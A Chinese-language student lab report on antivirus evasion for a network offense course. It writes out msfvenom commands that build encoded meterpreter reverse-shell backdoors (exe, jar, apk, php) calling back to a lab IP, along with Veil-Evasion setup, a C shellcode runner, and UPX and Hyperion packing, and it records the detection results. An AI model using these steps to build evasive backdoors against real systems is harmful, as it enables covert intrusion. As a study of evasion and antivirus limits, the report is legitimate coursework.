• 2019-2020-2 20175230 《网络对抗技术》Exp3 免杀原理与实践


    一、实践目标

    通过本部分内容的学习,认识到杀软局限性,提高在工作生活中对于恶意软件防范能力。

    二、实践内容

    • 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具、使用C + shellcode编程或使用其他课堂未介绍方法自己利用shellcode编程等免杀工具或技巧
    • 2.通过组合应用各种技术实现恶意代码免杀
      (如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
    • 3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。

    三、预备知识

    1.免杀概念

    一般是对恶意软件做处理,让它不被杀毒软件所检测。

    2.恶意软件检测机制

    2.1基于特征码的检测

    • 恶意代码包含这样的数据
    • 正常程序不包含这样的数据
    • AV软件厂商要做的就是尽量搜集最全的、最新的特征码库

    2.2启发式恶意软件检测

    • 根据些片面特征去推断。通常是因为缺乏精确判定依据。
    • 对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。
    • 典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。

    2.3基于行为的恶意软件检测

    • 从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式

    四、实践步骤

    任务一 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil,加壳工具等单一方法实现部分免杀

    (一)正确使用msf编码器

    • 1.将实验二中用msf命令生成的后门程序20175230_backdoor.exe放到VirusTotal或Virscan中扫描结果如下

    • 2.然后进行多次编码尝试降低检出率
      msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘x00’ LHOST=192.168.80.128 LPORT=5230 -f exe > 20175230_backdoor2.exe

    • 3.再次进入两个网站进行扫描检测
      一次编码扫描结果

      十次编码扫描结果

    (二)msfvenom生成如jar之类的其他文件

    • 1.生成jar文件,输入命令msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.80.128 lport=5230 x> 20175230_JAVAbackdoor.jar

      扫描结果:检出率确实降低了不少

    • 2.生成apk文件,输入命令msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.80.130 LPORT=5230 R > 20175230_APKbackdoor.apk

    扫描结果:

    • 3.生成php文件,输入命令msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.80.128 lport=5230 x> 20175230_PHPbackdoor.php

    扫描结果:

    (三)利用veil-evasion

    • 1.安装veil-evasion
    mkdir -p ~/.cache/wine
    cd ~/.cache/wine 
    wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
    wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
    

    使用命令sudo apt-get install veil-evasion安装veil

    下载好后用veil打开veil进行安装,安装时如果出现错误,可运行其提示的命令/usr/share/veil/config/setup.sh --force --silent
    安装完毕后(按照组长的方法,我一次性就安装好了veil,中间出现了一次错误,然后运行了/usr/share/veil/config/setup.sh --force --silent后就可以了),进入veil

    • 2.命令use evasion命令进入Veil-Evasion

    • 3.命令use c/meterpreter/rev_tcp.py进入配置界面

    • 4.设置反弹连接IPset LHOST 192.168.80.128

    • 5.设置端口set LPORT 5230

    • 6.查看配置options

    7.输入generate生成文件,接着输入生成的文件名 tx5230_veil

    • 8.按照文件的路径找到文件并进行扫描

    • 9.将tx5230_veil移入主机时,没有报错,360扫描时也没有报错

    但运行此程序后,报错

    (四)使用C + shellcode编程

    • 1.首先我们需要先生成一段shellcode
      msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.128 LPORT=5230 -f c

    • 2.然后创建一个c文件txshellcode.c,将下述代码及新建的shellcode复制进去

    unsigned char buf[] = 'shellcode(替换成上述步骤生成的shellcode)'
    
    int main()
    {
        int (*func)() = (int(*)())buf;
        func();
    }
    

    • 3.放入网站扫描

    • 4.移入主机运行后报错

    (五)加壳工具

    • 1..给上面的shellcode加一个压缩壳(UPX)
      upx txshellcode.exe -o txshellcodeupxed.exe

    • 2.将进行压缩壳后的文件上传到网站扫描

    • 3.加密壳处理:将之前进行压缩壳后的exe文件拷贝到/usr/share/windows-resources/hyperion/目录中(其他同学的hyperion在windows-binaries,但是我的kali中却在windows-resources)
      加壳命令wine hyperion.exe -v txshellcodeupxed.exe 5230-txshellcode_hyperion.exe

    • 4.进过加密壳处理的exe文件上传到网站扫描后,发现比加壳前文件还糟糕,不知道是不是加密壳出错了

    (六)使用其他课堂未介绍方法:venom生成免杀木马

    任务二 通过组合应用各种技术实现恶意代码免杀

    方法:c+shellcode+压缩壳+加密壳
    测试:360在运行之后可以检测到

    任务三 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    电脑:win7
    杀软:

    五、基础问题回答

    (1)杀软是如何检测出恶意代码的?

    • 基于特征码检测
      很多软件都会有各种特征码记成的特征库
      恶意软件的一个或几个片断就可作为识别依据。
    • 启发式恶意软件的检测
    • 基于行为的检测

    (2)免杀是做什么?

    通过处理,让恶意代码等逃脱入侵检测。

    (3)免杀的基本方法有哪些?

    • 1.改变特征码
      加壳:压缩壳 加密壳
      用encode进行编码
      基于payload重新编译生成可执行文件
      用其他语言进行重写再编译(veil-evasion)
    • 2.改变行为
      尽量使用反弹式连接
      使用隧道技术
      加密通讯数据
      基于内存操作
      减少对系统的修改
      加入混淆作用的正常功能代码

    (4)开启杀软能绝对防止电脑中恶意代码吗?

    不能,我们这种菜鸟制作的木马有时候都能逃脱杀软,更别说技术大神了,而且恶意代码的样式、入侵方式多种多样,杀软无法针对所有的恶意代码,我们能做的就是加快病毒库更新速度。

    六、实践总结与体会

    此次实验可谓是历经坎坷,花费了很长时间;首先使用msfvenom时就出错,上网查找时,有各种各样的解答,试了好几种方法后才得以解决,但我看其他同学都没有出现此类错误,很郁闷。后来陆续出现了好几个错误,还好百度查找后解决了;都说该bug很烦,我觉得做此类实验也赶得上改bug了(可能有兴趣的不这样想),唯一让我感到开兴的是,我安装veil很快,也没有出错,也能正常运行。

    七、实践遇到的问题

    1.查询ip地址失败


    解决方法:apt-get -y install net-tools即可

  • 相关阅读:
    saiku导出excel单元格格式与中文列宽自动适应
    saiku中过滤窗口优化及隐藏异常报错
    saiku之固定维度(必选维度)
    saiku中多cube排序问题
    saiku中默认级别all的国际化
    Nginx基本配置、性能优化指南
    Nginx安装部署
    64位虚拟机中安装CentOS_6.7
    memcached全面剖析–5. memcached的应用和兼容程序
    memcached全面剖析–4. memcached的分布式算法
  • 原文地址:https://www.cnblogs.com/tengxing/p/12596820.html
Copyright © 2020-2023  润新知